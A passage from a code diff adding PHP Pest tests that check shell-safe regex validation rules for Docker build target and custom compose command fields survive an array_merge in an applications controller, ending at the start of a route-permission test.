expect($method->invoke($instance, 'my-app')) + ->toBe('my-app'); + }); +}); + +describe('dockerfile_target_build rules survive array_merge in controller', function () { + test('dockerfile_target_build safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged)->toHaveKey('dockerfile_target_build'); + expect($merged['dockerfile_target_build'])->toBeArray(); + expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN); + }); +}); + +describe('docker_compose_custom_command rules survive array_merge in controller', function () { + test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + // After our fix, local no longer contains docker_compose_custom_start_command, + // so the shared regex rule must survive + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['docker_compose_custom_start_command'])->toBeArray(); + expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['docker_compose_custom_build_command'])->toBeArray(); + expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); +}); + describe('API route middleware for deploy actions', function () { test('application start route requires deploy ability', function () { $routes = app('router')->getRoutes();